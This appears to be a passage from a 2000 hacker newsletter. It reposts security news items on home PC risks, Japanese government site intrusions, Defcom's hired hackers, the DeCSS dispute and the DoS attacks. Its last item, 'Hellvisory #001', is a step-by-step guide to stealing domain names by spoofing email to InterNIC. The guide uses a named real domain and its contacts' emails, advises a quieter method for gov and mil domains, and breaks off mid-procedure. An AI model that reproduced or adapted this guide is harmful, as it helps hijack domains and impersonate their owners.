ways we work as it pushes us toward a knowledge-based society in which
we pursue intellectual challenges while routine, noncreative tasks are
assigned to computers." - Gene A. Nelson
As a comprehensive book on EDI, several parts of the book deal more with
the operation and setup of such a network. This leads into the areas that
explain in technical detail the security and auditing of EDI networks.
Beginning with the basics of EDI, the book walks through the pros and cons
of such networks. It gives guidelines for who should implement and use it,
operating issues, risks, control concerns and more. These sections are
brief and to the point, suitable to give to non technical managers who may
be considering EDI as a solution.
The following three chapters (2 - 4) delve into the technical aspects and
the standards governing their development and operating procedures.
Covering infrastructure and standards, networks and telecommunications,
and cross-vulnerabilities in EDI Partnerships, these chapters give a solid
understanding of the issues at hand. This reading is not suggested for the
technical neophyte!
Dropping back out of the technical jargon, Chapter 5 (Managing
Interenterprise Partnerships) seems to be more suited toward managers and
legal staff. The next chapter jumps back into technical land and covers
Application Control Issues, Security/Environmental/Project controls,
Inbound/Outbound Control Issues and more. Maintaining the ping-pong style
of writing, Chapter 7 (EDI Management and
Environmental Control) delves into higher level project and planning. If
your organization uses EDI, or is considering implementing it, this book
is for you. Both management and the technical staff can get something out
of this book by passing it back and forth to read chapters. For a one stop
shop on EDI, this is it.
review by: Brian Martin
ISN is sponsored by Security-Focus.COM
@HWA
151.0 ISN: "Remember, some 'hackers' make house calls" ie:burglary.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[...So, your home machine and laptop is secure? Shimomura or Mitnick,
DePayne, Tanner Zykl0n, aKt0r, JP and Zer0 kkk-c00l and all their
friends couldn't get into it? what if the whole thing gets lifted?
is your data safe and secure then? (backup and encrypt!) you think
it doesn't happen? i've sat in an IRC channel with hackers talking
about their planned heist(s) of equipment, it does happen and you
best be prepared, it can happen to you. - Ed ..]
http://www.techserver.com/noframes/story/0,2294,500163463-500206598-500944169-0,00.html
NEW YORK (February 4, 2000 10:44 a.m. EST http://www.nandotimes.com) -
Home computer users who think hacking is just a threat to government
and corporate networks need to realize that the Internet puts them at
risk of being invaded by computer predators, too, security experts
say.
Concern about home security grew Thursday following disclosure that
former CIA Director John Deutch stored sensitive national security
secrets on a home computer connected to the Internet.
"He certainly should have known better," said Cormac Foster, who
monitors security issues for Internet research firm Jupiter
Communications. "If your business is protecting the security of the
country, one would hope you wouldn't make a mistake like that."
Elias Levy, chief technology officer for SecurityFocus.com, said
hackers often target computers randomly, to obtain financial
information or play a prank. But sometimes they access home machines
from which they launch attacks on companies.
"It comes down to people thinking, I don't have anything important on
my computer, so why would somebody want to get me," Levy said.
A hacker can gain access to a home computer in many ways.
If a sharing option is turned on, outsiders could take advantage of
that to delete or steal files. Through e-mail, hackers could send
viruses and other malicious programs that will give them access to
sensitive documents.
The risks are greater with high-speed connections such as cable modems
- those computers are always connected to the Internet.
But even standard, dial-up users are vulnerable. Hackers have tools
that can automatically scan the Web looking for computers with
security holes.
"If I'm a burglar, I have to rattle each door in the neighborhood
until I find one that's unlocked," said Tom Powledge, senior product
manager for Norton Internet Security software. A hacker with the right
scanning tools "can rattle hundreds of doors at once."
Once in, a hacker can seize control of the computer, even stealing
credit card numbers or top-secret materials.
CIA Director George Tenet said he has no evidence that foreign enemies
hacked into Deutch's computer but acknowledged there is no way to tell
for sure.
ISN is sponsored by Security-Focus.COM
@HWA
152.0 ISN Japanese Police crack down on hacker attacks
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://ap.tbo.com/ap/breaking/MGIGU35UA4C.html
Feb 5, 2000 - 01:33 AM
TOKYO (AP) - With hackers barraging government Internet sites,
Japanese police announced plans to improve crime-fighting in
cyberspace, newspapers reported Saturday.
Beginning late last month, unidentified hackers began a high-profile
campaign to crack state sites. And despite its love for just about
everything high-tech, Japan is far behind other countries when it
comes to tackling online crime.
The Yomiuri Shimbun, Japan's largest paper, said the National Police
Agency has requested $1.78 million from the country's fiscal 2000
budget to battle the problem. Police want to study how hackers break
into Web sites and ensure user names are not being abused, the reports
said.
Agency officials were unavailable for comment.
Agency figures showed that 247 Internet crimes, including distributing
child pornography, were reported in 1999, nearly double the previous
year, according to major Japanese newspapers.
A bill aimed at improving user verification, a so-called digital
signature bill, is due to be submitted to parliament soon, the Asahi
Shimbun reported. Digital signatures allow people to use the Internet
to buy and sell goods and services, it said.
The police agency is urging that mandatory identity checks on people
who apply for such signatures be made part of the bill, the paper
said.
The proposed legislation comes on the heels of a new law parliament
passed last summer to make it illegal to access sites without the
proper clearance. It takes effect this month.
The Bank of Japan - the country's central bank - the Defense Agency,
the Science and Technology Agency and the Transport Ministry have all
reported being attacked by hackers, though they reported no damage.
However, hackers into the Science and Technology Agency's homepage
left a message alleging that Tokyo denied the Rape of Nanking, the
Japanese army's massacre of as many as 300,000 civilians during the
1937-38 occupation of the Chinese city now known as Nanjing.
ISN is sponsored by Security-Focus.COM
@HWA
153.0 ISN:Behind the scenes at "Hackers Inc."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Hax0rs Unlimited? heh - Ed)
http://www.pcworld.com/pcwtoday/article/0,1510,15132,00.html
So you thought hackers were nerds in dark rooms traveling in
cyberspace to attack companies' computer systems or steal data.
Think again.
A new breed of hackers licensed to hack legally into companies around
the world, ranging from banks in Israel and Britain to e-commerce
companies in Spain, and check their systems' security, is at work in
Sweden.
The Stockholm-based private company Defcom, set up in April last year,
is a pioneer in a shadowy business that may seem more like a scene
from one of legendary American science fiction author William Gibson's
novels than reality.
But Defcom actually gets paid for hiring out its "ethical hackers" to
large companies, mostly in the banking, insurance, and e-commerce
sector around Europe.
"Nine out of ten companies we're employed to check, we can break into
through the Internet," Defcom Chief Executive Thomas Gullberg tells
Reuters. "That's a frightening statistic."
An Online Playground
The Web is becoming an ever more attractive playground for hackers as
e-commerce mushrooms in Europe and the United States, and sensitive
data is transferred over the Internet.
Hackers can break into practically any computer system if they want
to, Defcom says.
It was hard at first to bring hackers together, but Gullberg was
surprised by the willingness on the part of hackers to turn
legitimate.
"We've brought hacking to another stage, made it ethical," Gullberg
says. "We've gathered hackers under one roof. After all they're the
best in the business, they know how it's done."
Defocom's motto, displayed in one of the main hackers' rooms, sums it
up: "It takes one to know one."
The Swedish company--with an office in London--has grown to over 40
staff, of whom about half are professional hackers, aged 23 to 30. One
has a criminal record.
To boost expertise and knowledge it has also hired a police officer
from the IT security division in Sweden's national crimes prevention
unit.
Once appointed by a company to check its security system, the staff
carries out a technical analysis, then travels to the country of the
company and starts hacking.
What makes them different from some other data security firms is that
they actually make changes in their customers' computers to see
whether they can really be hacked into, Defcom says.
"We don't just go to the firewall and prove that we can break it, but
we go into the main computers," Defcom's senior cyberspace hacker, who
asked to remain anonymous, tells Reuters.
"We deliver the truth to clients. The bittersweet truth," Gullberg
says.
Bad for Business
"Security has been a big problem in the business world and it still
is. The Internet is not safe," Gullberg says.
Most illegal hacking in finance centers on stealing credit card
numbers but is expanding quickly into industrial espionage.
Defcom says an underground market known as "information broker" sites
is growing on the Web, where clients could scout around for hackers to
do their dirty work, like breaking into a company to steal corporate
data.
The need for tighter security was underscored last month when hackers
broke into online music retailer CD Universe, a unit of EUniverse and
stole 300,000 credit card numbers, demanding payment of $100,000 not
to use them.
Defcom advises its clients not to publicize their use of its services
as this could be a challenge to the hacking community.
"It's easy to break into the system. Too easy. But often customers
don't know when the companies have had intruders because they cover it
up," the top hacker says.
ISN is sponsored by Security-Focus.COM
@HWA
154.0 ISN: Hackers a No-Show at DVD decryption protest (!???)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.digitalmass.com/columns/software/0207.html
Hackers a no-show at protest over DVD decryption
By Hiawatha Bray Special to boston.com
The angry hackers never showed up -- not at their appointed meeting place
at the Prudential Center food court, nor out in front of the Cheri Theater
in downtown Boston, where I'd hoped to see them handing out their protest
leaflets.
Too bad; especially their not being at the Cheri. I'd have enjoyed the
looks of bewilderment from the teens that stood three-deep, smoking
illegal Marlboros as they waited for the start of Scream 3.
Scarcely any of the kids would have had the slightest idea what the
protest was about, and probably still wouldn't have understood, even after
patient explanation.
"You want to watch movies? Yeah, me too, man. On your computer? Cool ...
Linux? What's that? And what's it got to do with movies, anyway?"
Good question, but I doubt your average teen filmgoer would stay for an
answer. They're probably not as insatiably curious as you guys.
Many of you already know part of the story -- how the motion picture
industry lit out after a network of Internet sites and a hacker hobbyist
in Norway in an effort to stamp out a piece of software that allows
unauthorized replays of DVD movie disks.
I haven't bought a DVD player yet, but more than 5 million of you have.
These devices replay Hollywood flicks with vastly better image and sound
quality than old-fashioned videotape.
DVD disks include an encryption system that makes it impossible to play
them back, except in a player that has the right software to decrypt the
disk. Of course, this software is built into living-room DVD players, and
is included with DVD-ROM players for personal computers.
The trouble is that while this decryption software exists for the most
common computer systems --Apple's Macintoshes or machines running
Microsoft's Windows -- there wasn't a DVD decoder program that would work
with Linux, the upstart operating system cobbled together by hundreds of
part-time hackers worldwide.
So, as hackers will, some Linux folk got busy and wrote their own program.
A group of Europeans, including a Norwegian teenager named Jon Johansen,
figured out how to break DVD encryption and created software called DeCSS
to let Linux users watch DVD movies. And of course, they posted this
software on the Internet.
What did they do that for? The Motion Picture Association of America and a
DVD industry trade group ran screaming to court, and Norwegian cops hauled
young Mr. Johansen down to the precinct house for a scary interrogation.
The movie moguls demanded not only that dozens of individuals remove DeCSS
from their Web sites, but also that they remove Web links to other pages
where the software might be found.
This last demand should have all of us passing out leaflets on street
corners. The freedom to share information, regardless of its source, is at
the heart of the Internet. A court order forcing a Web site to stop
linking to a questionable source of information would be like ordering a
library to stop offering a controversial book.
Thank heaven that federal and California state judges refused to go along
with the ban on links. But the judges did issue temporary injunctions
forcing Web sites to take down their own copies of DeCSS, on the grounds
that the program may amount to an illegal theft of the movie industry's
trade secrets.
This has outraged the hacker community, and publications such as 2600: The
Hacker Quarterly have called for protests and boycotts outside of movie
theaters. Readers of 2600 in the Boston area were urged to meet at the
Prudential Center on Friday, and then swoop down on local movie theaters
with protest leaflets in hand.
Maybe I went to the wrong theater. Or maybe it was too cold and dreary. Or
maybe the local hacker community thinks this issue isn't as
black-and-white as some would have us believe.
A chat with the DVD encryption folks revealed that they're happy to share
their secrets with Linux computer makers -- for a $10,000 fee. One
company, Sigma Designs, has paid the fee, and is now bringing out a
circuit card that'll let Linux computers legally run DVDs.
You might think this would satisfy the hackers, but you'd be wrong.
They're arguing that they have a right to bypass DVD encryption without
getting anybody's permission. It's called "reverse engineering" -- taking
apart somebody else's hardware or software, figuring out how it works, and
then using that knowledge to create a compatible product. It's done all
the time in the computer business, and there are court cases that have
found it to be legal.
The hackers, then, are standing on principle, fighting for their right to
dismantle and study software whenever they please. The movie industry, for
its part, points to law protecting trade secrets. The DVD encryption
system is just such a secret, they say, and the creators of DeCSS smashed
the lock, rather than pay $10,000 for a copy of the key.
There are serious arguments on both sides, a level of ambiguity that
wouldn't likely appeal to the kids shivering outside the Cheri, waiting to
see a bunch of Hollywood teenagers get slashed to death. No wonder the
hackers stayed home.
; AFTERWORD: Well, well, well. I really was at the wrong theatre. An alert
reader pointed me to a page on the 2600 Web site, filled with after-action
reports on the Friday protest. Instead of hitting the nearest cinema, as
I'd assumed, the Boston-area hackers headed for the Avalon dance club over
on Lansdowne, where they leafleted up a storm. What's Avalon got to do
with DVD movies? Beats the stew out of me; I'm just too rational for my
own good sometimes. HB, 2/07/99, 9:10 p.m.
Hiawatha Bray's digitalMASS software column runs every Monday. He is also
a technology reporter for The Boston Globe, and writes his Upgrade column
every Thursday. His e-mail address is bray@globe.com.
@HWA
155.0 ISN need C2 security? - stick with NT 4.0 by Susan Menke
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: "John Q. Public" <tpublic@dimensional.com>
[Please remember this when the MS droids come to your office and try to
push NT4 C2 certification on you. - John]
http://www.gcn.com/vol19_no3/news/1284-1.html
February 7, 2000
If you need C2 security, youll have to stick with NT 4.0
By Susan M. Menke
GCN Staff
Agencies that have a "hard requirement" for C2 security will have to wait
two or more years before adopting Microsoft Windows 2000, says James
Arnold, technical director of Science Applications International Corp.'s
Trusted Technology Assessment Program laboratory.
Arnolds TTAP team in Columbia, Md., last month announced the C2
certification of amended versions of the 4-year-old Windows NT 4.0 Server
and Workstation operating systems under the National Security Agencys
Trusted Computer System Evaluation Criteria. Arnold said agencies existing
installations of NT 4.0 Server and Workstation must have NT Service Pack 6
and several hot fixes installed to qualify at the C2 security level.
C2 certification has been a moving target for NT 4.0 for several years
[GCN, Oct. 26, 1998, Page 8]. Until the SAIC lab completed its work, NT
3.5 had been the only C2-certified Microsoft OS.
Specific environment
The San Diego company's lab, with Microsoft funding and NSA supervision,
tested the NT 4.0 OSes on Compaq Computer Corp. uniprocessor and
multiprocessor systems in networked and standalone modes.
The configurations included ProLiant 6500 and 7000 servers and Compaq
Professional Workstation 5100s and 8000s, in addition to a Hewlett-Packard
Co. digital audio tape drive and HP LaserJet printers.
Strictly speaking, only those specific configurations are C2-certified
with NT 4.0.
The required NT Service Pack 6 and hot fixes are downloadable from the Web
at www.microsoft.com. Arnold said the software fixes also can be obtained
on CD-ROM from Microsoft Corp.
"Lots of requests for proposals require C2 or the equivalent," Arnold
said. "C2 means the OS can identify and authenticate users and can
control and audit their access to data."
The lab's certification effort began with NT 4.0 Service Pack 3 and
continued through packs 4, 5 and 6. Work will now begin on Windows 2000.
"The evaluation process is still evolving," he said.
Arnold and Frank Simmons, vice president at SAIC's Center for Information
Security Technology, said the lab also is evaluating Microsoft SQL Server.
ISN is sponsored by Security-Focus.COM
@HWA
156.0 ISN: Sites cracked with id's and passwords
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.yomiuri.co.jp/newse/0208cr21.htm
Akiko Kasamaand Masato Takahashi Yomiuri Shimbun Staff Writers
The hackers behind a recent series of invasions of government-run Web
sites may have gained access to the sites by stealing the user names
and passwords belonging to the engineers operating the systems,
according to investigation sources.
The hackers may have replaced the user names and passwords with new
ones after illegally entering computer servers that operate the Web
sites.
The hackers are also suspected of erasing communications
records--known as logs--in an attempt to remove information that could
help trace them.
Currently, specialists and investigators are trying to work out how
hackers gained access to the Web site servers. The sites broken into
include those run by the Science and Technology Agency and the
National Institute for Research and Advancement (NIRA), an affiliate
of the Economic Planning Agency.
The computer servers were running under two kinds of operating
systems. Investigators are increasingly convinced that the engineers
managing the systems failed to properly set up the servers when they
entered their user information into the systems.
Observers question whether the system managers lived up to their
obligations as operators of Web site servers.
System managers are in charge of running and overseeing information
systems and computer networks at companies and government offices.
Their status is almost godlike regarding computer security. They issue
user names to other users, have the authority to decide the framework
of each organization's computer security system and are able to erase
logs that record the sender, time and place of origin of messages.
After the Science and Technology Agency Web site was broken into on
Jan. 24 and 26, access to the site was tested using the user name and
password of the official system manager. The site, however, could not
be accessed as the user name and password were not recognized after a
hacker had created a new password.
After the NIRA site was broken into on Jan. 26, officials found that
the hacker had impersonated a system manager using a user name and
password of the hacker's own invention, as the site had not been set
up to recognize only the system manager's user name and password.
The logs--the only means of tracing the hacker--were erased under the
name of system managers on both sites.
Hackers broke into two kinds of operating systems in the recent cases.
They usually use special hacking software to scout out bugs left
during programming on the operating system and the software for
creating Web sites. They then input specific commands to obtain user
names and passwords.
Hackers in the recent cases might have obtained user names and
passwords through uncorrected bugs. Nonetheless, the NIRA site case
shows that hackers did not hesitate to take advantage of slack site
management, the sources said.
Hacking into a system to obtain a user name and password involves
searching for an unlocked port. Portscanning is a hacking tool that
does this automatically.
Portscanning was used in more than 12,000 intrusions into the National
Personnel Authority and the authority's Kinki regional office sites,
which stores government employee exam information.
The deleted logs make tracing the hackers in the recent cases
difficult. Also, as hackers usually use a number of servers to try to
invade a targeted site, tracing failed hacking attempts does not help
much in identifying the Web site trespassers.
If hacking routes cross national boundaries, jurisdiction and national
interest issues also come into play.
Although investigators traced illegal entries to the sites of The
Asahi Shimbun and The Mainichi Shimbun to a South Korean provider,
they were unable to get any further leads.
The series of hacking cases has prompted several Internet security
companies to begin offering instruction on security measures and to
put antihacking goods on the market.
Asgent Inc., a security software company based in Chuo Ward, Tokyo,
will hold a free seminar on Feb. 16 and 17 targeting company computer
system managers and focusing on the skills needed to prevent hacking
and transform the contents of hacked Web sites. For more information,
call the Asgent at (03)5643-2561.
The Japanese unit of Network Associates Inc., based in Minato Ward,
Tokyo, has started distributing free samples of CyberCop Monitor, its
software for detecting illegal Web site access in real time. The
samples will be sent out for free until the end of March to those who
complete the application form on the company's Web site at
http://www.nai.com/japan.
---------------------------------------------------
"Communications without intelligence is noise;
Intelligence without communications is irrelevant."
Gen. Alfred. M. Gray, USMC
---------------------------------------------------
C4I Secure Solutions http://www.c4i.org
*=================================================*
ISN is sponsored by Security-Focus.COM
@HWA
157.0 ISN: Who are these jerks anyway?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://upsidetoday.com/Opinion/38a211670.html
Who Are These Jerks, Anyway?
February 10, 2000
by Richard L. Brandt
The real question about the "denial of service" (DoS) attacks on major
Web sites this week is: Just who are these jerks, anyway?
It could be virtually anyone. Except for non-jerks. You have to be a
jerk to pull this kind of stunt. It seems to be nothing but a prank.
There is no political ideology, no monetary gain, no anger against the
sites being attacked. There is just the thrill of having done it and
knowing that all those important newscasters on television are talking
about something you did. Gee, aren't you special?
If it were political or a protest against particular sites or
e-commerce in general, there should be some sort of manifesto, someone
claiming credit. The point of a terrorist attack is to let people know
why you did it, in an attempt to change something you don't like. But
in this case, no one is claiming credit or telling us why it's
happening.
Further, although there are certainly unscrupulous people who would
attack a site in order to make money -- say, short a stock before the
attack -- usually such a person would be smart enough to keep a low
profile. When a lot of prominent sites are attacked at once, investors
realize this is an anomaly and not a problem unique to the company
being attacked. The stocks of these companies did not decline as much
as some observers thought they might.
That's why the main speculation seems to be that this is being done by
adolescents (in mind if not in body). "The people who have done this
in the last couple days are amateurs," says Alex Samonte, chief
engineer at SiteSmith, a company that helps build Web sites. "It
appears to be just for the fun of it."
Samonte has a lot of experience on this issue, as someone who has been
building Web sites for a long time. He did some of the work on the
original Yahoo site.
We should distinguish between these amateurs (or "jerks") and that
underground computer community that calls itself "hackers." The hacker
communities are really pissed off right now, because every television
news program in the universe is talking about the "hacker attacks."
Hackers like to figure out how systems work. They like to find obscure
weaknesses that can be exploited. The more difficult, the better.
There is status in being able to do something sophisticated. And many
of them try to demonstrate their power by showing it off in some
relatively harmless way, posting an obscene message, say, rather than
shutting down a site.
Most hackers do not consider DoS attacks to be true hacking. You can
do it automatically, using one of several rogue programs available on
the Internet. (One early program, still popular, is called Smurf,
although there are a lot more sophisticated programs these days.)
Using such a program makes this kind of attack a simple process that
we used to call "cookbooking" in chemistry lab. You don't have to know
how it works, just follow the directions and you get the reaction you
want. The problem in this case is that we don't know what reaction the
attackers want.
Hacker news sites are complaining. On 2600: The Hacker Quarterly, for
example, writers say they're insulted to be linked to these attacks by
implication. The site's editors do concede, however, that the
attackers have a reasonable knowledge of Internet topology.
(Suggestion to the hacker community: Find a new name for yourself. The
term "hacker" has been co-opted by the press to mean any computer
attacker, malicious or not. The public's definition of the word is
different than yours. You can't change that now.)
The reason these attacks are so disturbing is that it could be some
14-year-old jerk doing it. And some of the recent attacks could be
done by copycats, an even more despicable breed of jerk, because they
don't even show any originality.
And it's not that I agree with hackers who may be trying to prove a
point or make a statement, but the randomness of these attacks is
clearly worse. The world is moving toward e-commerce, and it can be
halted by some pimply-faced kid who doesn't have a life. Isn't that a
pleasant image of the information revolution?
When I was in college at a really geeky school called Harvey Mudd
College, there were lots of phone phreaks and geeks who liked to show
that they could make free calls off the college president's phone line
with their homemade blue boxes. I'd hang out with them sometimes and
get a giggle out of doing something naughty. But then I grew up.
The current attacks demonstrate the double-edged sword of any new
technology. The Web empowers the individual to do great things. It can
also amplify his or her tendency to be a jerk and hurt a lot of
people. With every new privilege comes a new responsibility, and these
folks are irresponsible. They don't deserve access to the Web, but we
don't know how to deny them service, unless they are caught.
Apparently, that will be difficult to do. It is not difficult to
disguise yourself, or make it appear that you are operating from a
different address. It's called spoofing. According to Samonte of
Sitesmith.com, in order to trace the attack back to the origin, you
have to do it while the attack is occurring, probably tracing back
through several different servers, ISPs and network providers -- with
their cooperation. But the people operating the target sites are too
busy putting out fires, trying to get their sites back up, to spend
time doing the tracing.
Here's another difficult problem: DoS attacks use innocent computers
to do the attacking. They do not exploit security problems in the
target sites, they attack security problems in other computers on the
Internet. They get other computers -- and it could be your home
computer with a DSL connection -- to send hundreds of messages to the
target site. Enlist enough of those computers and you can overwhelm a
site with too much traffic.
Therefore, companies that can best prevent such attacks are the
Network Service Providers or Internet Service Providers, not the
target Web sites themselves.
The ISPs know all the network addresses that should be routing signals
through their services. These spoofed messages would have strange IP
addresses on them. So theoretically, the ISPs could block any messages
with the wrong address.
But they may have thousands of legitimate addresses to keep track of,
and those change every day as new clients join up and old ones drop
off. It is not that trivial or cheap, and the ISPs themselves have
nothing to gain by it. They would only do it to prevent another
company from being attacked.
In other words, "What's my motivation?" To be nice? Government
subsidies might do the trick, but we know how bad government subsidies
are. Right?
Longer term, there are solutions. Major sites need to distribute their
servers and add as much redundancy as possible. That will make it
harder for the attackers to find and target all their servers,
increasing the odds that the site will keep running. But that's not an
overnight job.
But in the meantime, this is a perfect example of the difficulty of
putting a powerful tool in the hands of the people: Some people are
jerks.
---------------------------------------------------
"Communications without intelligence is noise;
Intelligence without communications is irrelevant."
Gen. Alfred. M. Gray, USMC
---------------------------------------------------
C4I Secure Solutions http://www.c4i.org
*=================================================*
ISN is sponsored by Security-Focus.COM
A response follows;
Hi William,
You raised a few interesting points in your previous mail. I would like to
add to a couple with my own, if I may.
* 2600, "The Hacker Quarterly", can in no way act disgusted by these attacks
and hold insult for being linked to them. When I was a teenager, sitting
around with an all powerul 96 modem (speed!) the magazine was a good read.
Informative, and fun. Now however, it panders to nothing more than the
scr1p7 k1d33. Disseminating information is one thing - tell me how to
propogate an attack in rough technical terms, and I would be able to work it
out, probably learning a lot on the way. It is doubtful that I would take
the attack beyond my own network and my friends, though. However, 2600 is
guilty of providing source code directly and/or direct links in several
cases. This is not passing the information under the ideal of "free speech".
This is passing the gun to a teenage idiot with a seriously bad attitude.
Thanks, I got that one of my chest - it's been bugging me for a while now!
:-)
>Here's another difficult problem: DoS attacks use innocent computers
>to do the attacking.
* Innocent is in one way correct, William, but in another I think not. DoS
attacks are older than my cleanest pair of socks, and this particular type
is not new. The information pertaining to it, and ensuring that your system
is not amongst those compromised is freely and easily available. Steps
should have been taken by now to ensure that your machine is not one of
those used. Whether it be a home box or not - people need to act in a
responsible way. You would lock your guns in a cabinet, rahter than leave
them outside on the window ledge, wouldn't you? What I'm saying is that
security is only as good as the next weak machine, and we should not
tolerate weak machines.
I was discussing on the FreeBSD mailing list with a chap recently these
things, after Yahoo! was had. The best way would be to have machines removed
from the backbone - how is that done? The only other option we could come up
with was along your lines. Perhaps, we thought, we could start a list
dedicated to nothing more than recording the IP addresses of machines used
to propogate such attacks. Provide some tools to automate things as much as
possible, and sysadmin now has a list of IP addresses that they can drop at
the border. We then mail the blocked sites to let them know what is
happening. In this way we could take some responsibility that the people who
should be taking it don't seem to want - we could reduce site of the playing
field for the morons out there. OK, so the problem doesn't go away, but it
is a step in the right direction, don't you think?
>But in the meantime, this is a perfect example of the difficulty of
>putting a powerful tool in the hands of the people: Some people are
>jerks.
Couldn't have put it any better!
Regards,
Johnathan Meehan
"A jug of wine,
A leg of lamb
And thou!
Beside me,
Whistling in
the darkness."
"Be Ye Not Lost Among Precepts of Order..."
- The Book of Uterus 1;5
ISN is sponsored by Security-Focus.COM
@HWA
158.0 Hellvisory #001 - Domain Name Jacking HOW-TO by Lucifer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From vuln-dev mailing list
__________________________________________________________________________________
Domain Name Robbery (aka Domain-Jacking): A Flaw in InterNIC Authentication
Scheme
----------------------------------------------------------------------------------
By Lucifer Mirza (lucifermirza@hotmail.com)
___________
Disclaimer:
-----------
This sole purpose of the information contained in this advisory is
to point out the flaws in InterNIC's domain name handling system
and is intented for education. Any abuse of the information in whole
or in part is NOT my responsibility nor do I encourage illegal activities.
The below mentioned technique involves a planned step by step way
of stealing different sorts of com/net/org/gov/mil domain names.
______
Tools:
------
* anonymous remailer or mail bomber which could spoof email adresses (I used
Kaboom).
* access to internet and mainly networksolutions.com website.
* Social Engineering skills for timing the emails.
* A fake email address at hotmail.com or any other free service.
____________
Intructions:
------------
As an example for this advisory, I will take the domain name wi2000.org.
Go to networksolutions.com and click on the link that says 'Who Is.'
Now enter the domain name (wi2000.org in this case) in the search field
and click on the 'Search' button.
This would show you the WhoIs information as shown below
___________________________________________________________
Registrant:
WI2000 (WI24-DOM)
Blixered 1
Goteborg, Lila Edet 46394
SE
Domain Name: WI2000.ORG
Administrative Contact:
MICKE, ANDERSSON (AMM367) HACKEDINDUSTRIES@HOTMAIL.COM
545326-3445 (FAX) 545326-3445
Technical Contact, Zone Contact:
Jason, Berresford (BJE41) jasonb@MOUNTAINCABLE.NET
1-(905)-765-5212
Billing Contact:
MICKE, ANDERSSON (AMM367) HACKEDINDUSTRIES@HOTMAIL.COM
545326-3445 (FAX) 545326-3445
Record last updated on 22-Jan-2000.
Record created on 19-Dec-1999.
Database last updated on 3-Feb-2000 14:29:53 EST.
Domain servers in listed order:
NS1.CAN-HOST.COM 24.215.1.6
NS2.MOUNTAINCABLE.NET 24.215.0.12
____________________________________________________________
Now you have two choices here:
-01> Either you could take full control of the domain by
changing the Administrator's handle information.
OR
-02> You could simply point the domain to another
host and let it recover in time by itself.
The first approach is very aggressive and could be hazardous if you are
going for gov or mil domain names so I recommend second approach for gov
and mil domains.
___________________________
Intiating the First Attack:
---------------------------
Let me first explain the InterNIC authentication system in case most of you
would be the readers who do not have their own domain names.
The problem with InterNIC authentication is that they do NOT send a
confirmation email if the request is sent from the same email as the
person owning the contact or the domain name itself!
Therefore, utilizing this flaw one could spoof anyone's email address
and change any domain name's information.
Although, a confirmation is required from the person to whom the domain
is about to be transferred; and that shouldn't be too hard as it would
your own email address ;-)
Here's a step by step procedure:
- Go to http://www.networksolutions.com/
- Click on the link that says 'Make Changes.'
- Enter the domain name wi2000.org
- You should be presented with 2 blue buttons
- Click on the one that says *Expert*
- Next screen would have a heading 'Select the form that meets your needs'
- Click on the link that say 'Contact Form'
- Next you should see a form with 2 fields.
- In the first field enter the admin's handle (wi2000.org admin is AMM367)
- In the next field enter his/her email address
(in this case it's HACKEDINDUSTRIES@HOTMAIL.COM)
- Change the option to 'Modify.'
- Now 'Proceed to Contact Information.'
- Select the MAIL-FROM option and click the 'Go on to Contact Data
Information.'
- Now you should see all the information about the admin contact of domain
name!
- In the E-mail address field change the email to your own fake email.
(I changed it to dd@doom.com)
- Now 'Proceed to Set Authorization Scheme.'
- Again choose MAIL-FROM and enter the email address of the admin
(HACKEDINDUSTRIES@HOTMAIL.COM)
- Leave the bottom option to 'No' and 'Generate Contact Form.'
- Now you should see a template with all the information. Similar to this:
______________________________________________________________________________
******************* Please DO NOT REMOVE Version Number
**********************
Contact Version Number: 1.0
**************** Please see attached detailed instructions
*******************
Authorization
0a. (N)ew (M)odify (D)elete.: Modify
0b. Auth Scheme.............: MAIL-FROM
0c. Auth Info...............:
Contact Information
1a. NIC Handle..............: AMM367
1b. (I)ndividual (R)ole.....: Individual
1c. Name....................: MICKE, ANDERSSON
1d. Organization Name.......: WI2000
1e. Street Address..........: BLIXERED 1
1f. City....................: GOTEBORG
1g. State...................: LILLA EDET
1h. Postal Code.............: 46394
1i. Country.................: SE
1j. Phone Number............: 545326-3445
1k. Fax Number..............: 545326-3445
1l. E-Mailbox...............: dd@doom.com
Notify Information
2a. Notify Updates..........: AFTER-UPDATE
2b. Notify Use..............: AFTER-USE
Authentication
3a. Auth Scheme.............: MAIL-FROM
3b. Auth Info...............: HACKEDINDUSTRIES@HOTMAIL.COM
3c. Public (Y/N)............: NO
________________________________________________________________________________
_____
NOTE: Do NOT press the button at the bottom that says 'Mail this contact
form to me!'
-----
Copy and paste this message into your anonymour remailer or mailbomber and
you are
ready to go; but WAIT! It's not that easy, now comes the HARD part!
When you mail this message to hostmaster@networksolutions.com a message
similar to
the following would be sent to the admin email address:
____________________________________
Subject: [NIC-000128.4r50] Your Mail
__________________________________________________________________________
This is an automatic reply to acknowledge that your message has been
received by hostmaster@networksolutions.com. This acknowledgement is "NOT"
a confirmation that your request has been processed. You will be
notified when it has been completed.
If you should have need to correspond with us regarding this request,
please include the tracking number [NIC-000128.4r50] in the subject.
The easiest way to do this is simply to reply to this message.
If you have not already done so, please come and visit our site via www
browser or ftp and pick-up the latest domain template or review the
Domain Name Registration Service Agreement at the URL's:
Domain Name Registration Service Agreement
http://www.networksolutions.com/legal/service-agreement.html
Domain Name Registration Template
ftp://www.networksolutions.com/templates/domain-template.txt
Regards,
Network Solutions Registration Services
***********************************************
***********************************************
IMPORTANT INFORMATION
***********************************************
On January 15, 2000, Network Solutions introduced Service
Agreement, Version 6.0. All versions of the Service Agreement
template will continue to be accepted and processed until
January 31, 2000. On and after February 1, 2000, please use
the Network Solutions Service Agreement, Version 6.0 template
located at
ftp://www.networksolutions.com/templates/domain-template.txt
for all template requests.
The terms and conditions of the Service Agreement are available
on our Web site at
http://www.networksolutions.com/legal/service-agreement.html.
************************************************
The zone files, which make the Internet work, are normally updated twice
daily, 7 days a week at 5:00 AM and 5:00 PM U.S. Eastern Standard Time.
Requests that are completed before these times will be included in that
12-hour zone file update and will normally begin to take effect within
